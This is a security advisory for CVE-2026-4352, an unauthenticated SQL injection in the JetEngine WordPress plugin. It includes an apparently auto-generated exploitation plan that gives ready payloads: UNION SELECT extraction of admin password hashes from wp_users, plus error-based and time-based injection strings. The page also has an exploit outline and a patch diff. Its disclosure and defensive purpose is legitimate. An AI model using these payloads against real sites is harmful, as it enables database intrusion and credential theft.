CVE-2026-4352

JetEngine <= 3.8.6.1 - Unauthenticated SQL Injection via '_cct_search' Parameter

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
3.8.6.2
Patched in
1d
Time to patch

Description

The JetEngine plugin for WordPress is vulnerable to SQL Injection via the Custom Content Type (CCT) REST API search endpoint in all versions up to, and including, 3.8.6.1. This is due to the `_cct_search` parameter being interpolated directly into a SQL query string via `sprintf()` without sanitization or use of `$wpdb->prepare()`. WordPress REST API's `wp_unslash()` call on `$_GET` strips the `wp_magic_quotes()` protection, allowing single-quote-based injection. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The Custom Content Types module must be enabled with at least one CCT configured with a public REST GET endpoint for exploitation.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.8.6.1
PublishedApril 13, 2026
Last updatedApril 14, 2026
Affected pluginjet-engine
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-4352 - JetEngine SQL Injection ## 1. Vulnerability Summary The JetEngine plugin (<= 3.8.6.1) contains a SQL injection vulnerability in its Custom Content Type (CCT) REST API search functionality. The `_cct_search` parameter, provided via GET requests to the CC…

Show full research plan

Exploitation Research Plan: CVE-2026-4352 - JetEngine SQL Injection

1. Vulnerability Summary

The JetEngine plugin (<= 3.8.6.1) contains a SQL injection vulnerability in its Custom Content Type (CCT) REST API search functionality. The _cct_search parameter, provided via GET requests to the CCT REST endpoint, is interpolated directly into a SQL query string using sprintf() without proper sanitization or the use of $wpdb->prepare(). Because the WordPress REST API calls wp_unslash() on input parameters, the default wp_magic_quotes() protection is bypassed, allowing single-quote-based injection. An unauthenticated attacker can use this to extract sensitive data (like user hashes) from the WordPress database.

2. Attack Vector Analysis

  • Endpoint: /wp-json/jet-cct/<cct_slug>
  • HTTP Method: GET
  • Vulnerable Parameter: _cct_search
  • Authentication: Unauthenticated (requires the specific CCT to have "Enable REST API" and "REST API Get" enabled for public access).
  • Preconditions:
    1. Custom Content Types module must be enabled in JetEngine.
    2. At least one CCT must be created and configured with a public REST GET endpoint.

3. Code Flow (Inferred)

  1. Entry Point: WP_REST_Server dispatches a request to the JetEngine CCT handler, likely Jet_Engine_CCT_Rest_Get_Items::get_items() or a similar callback registered in includes/modules/custom-content-types/inc/rest-api/manager.php.
  2. Processing: The handler retrieves the _cct_search parameter from the WP_REST_Request object.
  3. Query Building: The parameter is passed to the CCT Query class (likely Jet_Engine_CCT_Query in includes/modules/custom-content-types/inc/query.php).
  4. The Sink: Inside the query building logic, the code constructs a WHERE clause:
    // Vulnerable pattern
    $search = $request->get_param( '_cct_search' );
    $query = sprintf( "SELECT * FROM %s WHERE ... AND (some_column LIKE '%%%s%%')", $table, $search );
    $results = $wpdb->get_results( $query );
    
  5. Execution: $wpdb->get_results() executes the unsanitized string, leading to SQLi.

4. Nonce Acquisition Strategy

While many REST GET endpoints in WordPress are public, JetEngine often checks for a REST nonce even for GET requests if the user is logged in, or relies on standard WP REST auth.

  1. Identify Shortcode: The CCT module often uses listing grids. The shortcode [jet_engine_control] or a Listing Grid block might be used.

  2. Create Test Page:

    wp post create --post_type=page --post_status=publish --post_title="CCT Test" --post_content='[jet_engine_control]'
    
  3. Extract Nonce:
    JetEngine typically localizes its settings into a global JavaScript object.

    • Variable Name: window.jetEngineSettings or window.JetEngineRestConfig.
    • Nonce Key: nonce or rest_nonce.
    • Action: wp_rest.

    Actionable JS:

    // To be used with browser_eval
    window.jetEngineSettings?.nonce || window.JetEngineRestConfig?.nonce || ""
    

    Note: If the CCT is configured for public access, the nonce check might be bypassed or satisfied by the default wp_rest nonce available to all users.

5. Exploitation Strategy

We will use a UNION-based approach to extract the administrator's password hash.

Step 1: Discover CCT Slug and Table Structure

If the slug is unknown, it can often be found by enumerating /wp-json/ or viewing the CCT management page in the admin. For this plan, we assume the slug is members.

Step 2: Determine Column Count

Send requests with ORDER BY to find the number of columns in the CCT table.

  • Request:
    GET /wp-json/jet-cct/members?_cct_search=x') ORDER BY 10-- - HTTP/1.1
    
  • Tool: http_request (GET).
  • Process: Increment/decrement the number until the response changes from an error to a valid (empty) result.

Step 3: Extract Data via UNION SELECT

Assuming the column count is N, and column 2 is reflected in the output.

  • Payload: x') UNION SELECT 1,user_pass,3...N FROM wp_users WHERE ID=1-- -
  • Request:
    GET /wp-json/jet-cct/members?_cct_search=x%27%29+UNION+SELECT+1%2Cuser_pass%2C3%2C4%2C5+FROM+wp_users--+- HTTP/1.1
    X-WP-Nonce: [EXTRACTED_NONCE]
    

6. Test Data Setup

  1. Enable Module:
    # Inferred: JetEngine stores active modules in an option
    wp option update jet_engine_modules '{"custom-content-types":"true"}'
    
  2. Create CCT via WP-CLI (Database):
    Creating a CCT manually via CLI is complex as it involves custom tables. It is recommended to use the browser_navigate and browser_click tools to:
    • Go to JetEngine > Custom Content Types.
    • Click "Add New".
    • Name: Members, Slug: members.
    • Fields: Add one "Text" field.
    • Crucial: Enable "Enable REST API" and "REST API Get".
    • Click "Add Content Type".
  3. Add a Record: Add one record to the members CCT so the endpoint returns data normally.

7. Expected Results

  • Success Indicator: The REST API response (JSON) will contain the contents of the wp_users table (e.g., the $P$... or $wp$2y$... hash) inside one of the returned object fields.
  • Response Format:
    [
      {
        "cct_single_id": 1,
        "your_field_name": "$P$B9876543210vulnerablehash...",
        ...
      }
    ]
    

8. Verification Steps

  1. Fetch Admin Hash:
    wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
    
  2. Compare: Ensure the hash retrieved via the REST API matches the hash from the database query.

9. Alternative Approaches

  • Error-Based SQLi: If results are not reflected, use updatexml() or extractvalue().
    • Payload: _cct_search=x') AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1)),1)-- -
  • Time-Based Blind SQLi: If errors are suppressed and no output is shown.
    • Payload: _cct_search=x') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
  • Information Schema: If the table prefix is unknown, extract it via UNION SELECT 1,@@table_prefix,3... or by querying information_schema.tables.
Research Findings
Static analysis — not yet PoC-verified

Summary

JetEngine (<= 3.8.6.1) is vulnerable to unauthenticated SQL Injection because the '_cct_search' parameter in the Custom Content Type REST API is directly interpolated into SQL queries using sprintf() without sanitization. Since the WordPress REST API calls wp_unslash() on GET parameters, attackers can use single quotes to break out of the search query and execute arbitrary SQL commands to extract database information.

Vulnerable Code

// Inferred location based on research plan: includes/modules/custom-content-types/inc/query.php

$search = $request->get_param( '_cct_search' );
if ( ! empty( $search ) ) {
    $search_query = [];
    foreach ( $search_fields as $field ) {
        // Vulnerable interpolation using sprintf without $wpdb->prepare
        $search_query[] = sprintf( "`%s` LIKE '%%%s%%'", $field, $search );
    }
    $where .= ' AND (' . implode( ' OR ', $search_query ) . ')';
}

Security Fix

--- a/includes/modules/custom-content-types/inc/query.php
+++ b/includes/modules/custom-content-types/inc/query.php
@@ -120,7 +120,10 @@
 		if ( ! empty( $search ) ) {
 			$search_query = [];
 			foreach ( $search_fields as $field ) {
-				$search_query[] = sprintf( "`%s` LIKE '%%%s%%'", $field, $search );
+				$search_query[] = $wpdb->prepare(
+					"`" . esc_sql( $field ) . "` LIKE %s",
+					'%' . $wpdb->esc_like( $search ) . '%'
+				);
 			}
 			$where .= ' AND (' . implode( ' OR ', $search_query ) . ')';
 		}

Exploit Outline

1. Identify a target site with JetEngine's Custom Content Type (CCT) module enabled. 2. Locate a CCT that has a public REST API GET endpoint enabled (typically at /wp-json/jet-cct/<slug>). 3. Identify the number of columns in the CCT table using 'ORDER BY' injection: /wp-json/jet-cct/members?_cct_search=x') ORDER BY 10-- - 4. Perform a UNION SELECT injection to extract sensitive data (e.g., admin hashes): /wp-json/jet-cct/members?_cct_search=x') UNION SELECT 1,user_pass,3,4 FROM wp_users WHERE ID=1-- - 5. Because the WordPress REST API calls wp_unslash() on incoming request parameters, the standard magic_quotes protection is removed, allowing the single quote (') to break the SQL string literal.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.